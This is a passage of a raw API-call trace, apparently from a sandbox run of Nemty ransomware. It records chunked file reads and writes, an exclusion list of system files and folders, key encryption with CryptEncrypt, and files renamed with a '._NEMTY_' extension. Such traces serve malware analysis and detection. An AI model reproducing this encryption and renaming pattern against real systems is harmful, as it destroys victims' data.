lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94258, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.140] CloseHandle (hObject=0xffffffff) returned 0 [0106.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0106.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.140] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0106.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0106.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0106.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.jpg._nemty_kgobjgd_")) returned 0 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0106.141] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf3fdea9, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf3fdea9, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c2edf75, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_bw48.png", cAlternateFileName="")) returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2=".") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="..") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="...") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="windows") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="$RECYCLE.BIN") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="rsa") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="NTDETECT.COM") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="ntldr") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="MSDOS.SYS") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="IO.SYS") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="boot.ini") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="boot.ini") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="AUTOEXEC.BAT") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="ntuser.dat") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="desktop.ini") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="CONFIG.SYS") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="RECYCLER") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="BOOTSECT.BAK") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="bootmgr") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="programdata") returned 1 [0106.141] lstrcmpiW (lpString1="wmpnss_bw48.png", lpString2="appdata") returned 1 [0106.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.png", lpUsedDefaultChar=0x0) returned 15 [0106.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.png", lpUsedDefaultChar=0x0) returned 15 [0106.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x653f2a0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.png", lpUsedDefaultChar=0x0) returned 15 [0106.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.142] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_bw48.png", cchWideChar=15, lpMultiByteStr=0x653f2d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_bw48.png", lpUsedDefaultChar=0x0) returned 15 [0106.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0106.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0106.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0106.142] Sleep (dwMilliseconds=0x5) [0106.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2ebb190, dwHighDateTime=0x1d561e7)) [0106.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf2ebb190, dwHighDateTime=0x1d561e7)) [0106.156] GetLastError () returned 0x5 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.156] GetLastError () returned 0x5 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.156] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.156] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94258 [0106.156] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94258, pcchString=0x653ef9c | out: pszString="pzdqfLUOxJ7NZNcgwdhlUUYQmru6/iMaX0f4yYs72RnUpGW//V+XpccBx8sfOoCK\r\nfRY8DCXucYQugeLIgiaOQSrszd21HUVwNtY2ozlTivo9FjSSIaTaxlD/QjmjEVOr\r\nVG/NIxTICSpL2rLbBpiMkrpkeBAa7EPDL2kgSzP7nOhDiTsiJINLR4OjCUl74V7G\r\nhEjrWr5b3lLZQvD8AX57DQZpomJPyUIYcUWO6oXEEMsqiDbD2bR+xaDICLWArXdi\r\ndzSoGpC9c0IFapedRswluoa31ZPm0FikktJoQdVgGyYu3pTXkj81vwCv7TULG5QQ\r\nCKvPR0W0EvxexHWEhA86Rg==\r\n", pcchString=0x653ef9c) returned 1 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94258 [0106.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.156] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_bw48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_bw48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.157] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.186] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.186] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.248] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.248] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 